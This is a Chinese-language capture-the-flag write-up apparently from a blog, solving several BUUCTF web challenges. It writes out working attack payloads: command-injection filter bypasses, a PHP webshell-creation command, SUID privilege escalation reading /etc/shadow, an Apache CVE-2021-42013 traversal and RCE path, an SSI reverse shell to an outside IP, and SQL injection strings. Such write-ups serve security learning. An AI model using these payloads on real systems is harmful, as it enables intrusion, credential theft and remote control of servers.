buuctf web wp 7
[buuctf] web区 write up 7
[NewStarCTF 公开赛赛道]So Baby RCE
代码审计
典中典之开门审计代码:
1 |
|
非常一目了然的 RCE, 需要对 preg_match()
作 bypass:
preg_match()
函数常见绕过
PCRE 回溯上限:
针对非惰性匹配 (无
?
的贪婪模式匹配), 只要构造的模式字符串足够长, 调用链足够深, 就会触发调用上限, 函数抛回 False 值, 从而实现绕过; 其原理是 php 正则匹配函数是基于 PCRE 实现的, 最直白的来说, 匹配的实质是一个有限状态自动机,回溯次数具有上限, 不能无限调用;%0A
绕过:常用于包含
.
且不含/m
选项的preg_match()
, 默认情况下这种匹配是只限于第一行的, 通过%0A
(换行符) 即可实现绕过;数组绕过:
传一个数组进去,
preg_match()
无法处理字符串, 会返回False
; 不过没有toString()
直接用system()
执行会报错 (Array);
调整 payload
输入 ls 有正常回显, 接下俩考虑怎么绕过就行了:
注意正则中没有过滤控制符, {}
$
&
等字符, 考虑用管道符:
注意
&&
需要 url 编码; 该控制符的含义为严格逻辑与, 需要前后都为真, 按从左到右顺序执行, 如果左边语句为假, 则直接退出;
1 | cd${IFS}..%26%26ls |
成功, 接下来慢慢遍历找就行了:
1 | cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ls |
1 | cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26ca${Z}t${IFS}ffff${Z}llllaaaaggggg |
爆出flag: flag{239fe0bd-010e-450e-afcc-c603d3ecace7}
[NewStarCTF 公开赛赛道]So Baby RCE Again
代码审计
同样是代码审计开门:
1 |
|
和上一题最大的区别是没用 system()
而是 shell_exec()
, 其区别在于 system()
会打印输出到网页上 (可见), 后者不会。
这一题禁用了 bash
, curl
应该主要是为防反弹 shell 直接把 shell 给弹回去;
那么马上想到可以用 webshell 的方式创建一个木马:
webshell
创建 webshell 的指令, 有两个示例:
1 | php -r "file_put_contents('shell.php', '<?php @eval(\$_POST[\"shell\"]);?>');" |
注意:
引号冲突问题, 一定要用双引号包裹单引号, 因为这里的命令是要放在 shell 里执行, 而 shell 中\' => '
这样的表示方式是不存在的;
蚁剑连接:
找到 flag 之后读不出来, 应该是需要提权
提权
枚举
用 find 找找 set UID = root 的文件:
1 | find / -perm -u=s -type f 2>/dev/null |
注意到 date 指令是可用的;
date 指令
1 | # 输出当前时间 |
显然 sudo date -f /ffll444aaggg
即可。拿到 flag{e7a2946a-2d0a-4f5f-bfa6-3cce34647a61}
读其他文件也是能做到的, 比如 /etc/shadow
;

[NewStarCTF 公开赛赛道]Unsafe Apache
题目描述: Check In And The End!
信息泄露
点进去是 index.html
界面, 没什么内容, 抓包发现问题;
注意发回的包是 304 Not Modified, 结合 apache 了解一下 304 状态码:
304 是 HTTP 缓存控制的一部分, 请求中一般会携带 If-Modified-Since
或 If-None-Match
。而服务器启用了 ETag / Last-Modified:
去掉请求里的这两个标识, 就变成了正常的访问, 响应为 200 , 不过主体没变。
注意 304 响应里也可能有信息, 例如这里的:
1 | Server: Apache/2.4.50 (Unix) |
Server
爆出了服务保本, Tomcat 生成的 Hash/文件 inode 信息; 而 Etag
中的格式为 “文件大小(hex 格式)” + 文件的 inode 或修改时间戳;
Apache/2.4.50 CVE-2021-42013
根据爆出的这个比较老的版本号搜索漏洞, 能搜到 CVE-2021-42013 路径穿越漏洞:
CVE-2021-42013 是由 CVE-2021-41773 的不完整修复导致的漏洞,攻击者可以使用路径遍历攻击将URL映射到由类似别名指令配置的目录之外的文件。
其原理就是对 url 的解析存在问题, 导致 /icons/
这个目录下双重编码 .
可以绕过服务器对路径穿越 ..
的过滤:
1 | /icons/.%%32%65/ |
读取任意文件
试试读 /etc/passwd
:
执行任意代码 (RCE):
服务器上启用 mods cgi
或 cgid
后, 从 /cgi-bin/
穿越出去的路径可以执行任意代码, 实现方式为用 POST 方法(传参) + 访问 /bin/bash
/ /bin/sh
:
试试弹个 whoami
回来:
接下来尝试读根目录, 这里尝试了 ls%20/
发现没有回显, 可能是分步解析的问题, 也许这里需要用 bash 的语法, 换用 ls{IFS}/
来代替空格, 成功:
拿到 flag: flag{d9fa9969-60cf-4727-aa85-d1142da75b2d}
[GWCTF 2019]枯燥的抽奖
代码审计
1 |
|
这个 mt_rand()
函数, 官方手册的描述如下:
很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。
mt_rand()
函数是旧的rand()
的临时替代。该函数用了梅森旋转中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的rand()
快四倍。
对于给定的值, 其
mt_rand()
的值是可预测固定的。
抓个包可以发现会话没有重置, 每次发送的 session 是不变的;
php mt_rand
1 | str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' #加密用串 |
得到: 43 43 0 61 3 3 0 61 28 28 0 61 22 22 0 61 37 37 0 61 47 47 0 61 46 46 0 61 35 35 0 61 20 20 0 61 40 40 0 61
接下来用这个工具: PHP mt_seed
1 | time ./php_mt_seed 43 43 0 61 3 3 0 61 28 28 0 61 22 22 0 61 37 37 0 61 47 47 0 61 46 46 0 61 35 35 0 61 20 20 0 61 40 40 0 61 |
爆出 seed: 640613494
代入源码里就能得到 flag: Hd2wBLK9uE3aQuCg5IHK
1 |
|
[BJDCTF2020]EasySearch
目录扫描
打开是个登录界面, 尝试了一下多种姿势的 sql 注入, 都没成功, 源码也没东西, 只能用 dirsearch 扫个盘了,扫出 index.php.swp
文件;
代码审计
1 |
|
爆破 md5
接下来只需要撞一下 md5, 暴力枚举:
1 | #!/usr/bin/env python3 |
撞出: [+] Found password: RhPd
带着 6d0bc1
:RhPd
即可登录成功。
SHTML
接下来审计代码, 发现这个登录非常奇怪, 实际上 username 只是起到了在登录界面回显的作用, 完全不参与任何身份验证, 并且回显直接是以写入的方式写在了一个 shtml 上。
shtml 是使用 SSI (Server Side Include) 的html文件扩展名,SSI (Server Side Include), 是一种类似于ASP的基于服务器的网页制作技术。
常用指令
<!--#exec cmd=”cat /etc/passwd”-->
: 显示密码文件<!--#exec cmd="dir"-->
: 显示当前目录的文件夹和文件<!--#echo var="REMOTE_ADDR"-->
: 打印变量, 一般打印一些全局变量
shtml-shell
一个可用的反弹 shell
1 | <!--#exec cmd="bash -c 'bash -i >& /dev/tcp/10.88.15.142/4444 0>&1'" --> |
利用
卡了半天发现写入的 shtml 地址就在回显的包里(Url_Is_Here):
尝试 POST username=payload:
1 | </h1><h1>1111</h1><!--#exec cmd="cat /etc/passwd"--><h1> |
接下来开启 ovpn 发出反弹 shell
1 | <!--#exec cmd="bash -c 'bash -i >& /dev/tcp/10.88.15.142/4444 0>&1'" --> |
根目录下找到一个 flag + 一串哈希的文件夹, 读出 flag: flag{83f324c2-81ba-4a9d-97d2-a5d5d72a777d}
。
[WUSTCTF2020] 颜值成绩查询
题解
查询界面是 GET 传参, 尝试 SQL 注入:
1 | ?stunum=1 --+ |
此处存在注入; 且 1/**/or/**/1=1/**/--
可行, 但 1 or 1=1
显示错误, 说明过滤了空格;
用 order by
探测出回显字段为 3 段, 接下来尝试联合查询注入:
1 | 0/**/union/**/select/**/1,database(),3/**/-- |
回显 not exist
, 结合前面的空格过滤之后不报错, 仅显示号码不存在, 猜测可能是直接删除, 双写 union, select 等关键字:
1 | 0/**/ununionion/**/select/**/1,2,database()/**/-- |
表名:
1 | -1/**/ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="ctf"-- |
列名:
1 | -1/**/ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"-- |
字段值:
1 | -1/**/ununionion/**/select/**/1,group_concat(flag),group_concat(value)/**/from/**/flag-- |
爆出 flag: flag{5ec6f226-82cb-477e-b253-5a1c1946499c}
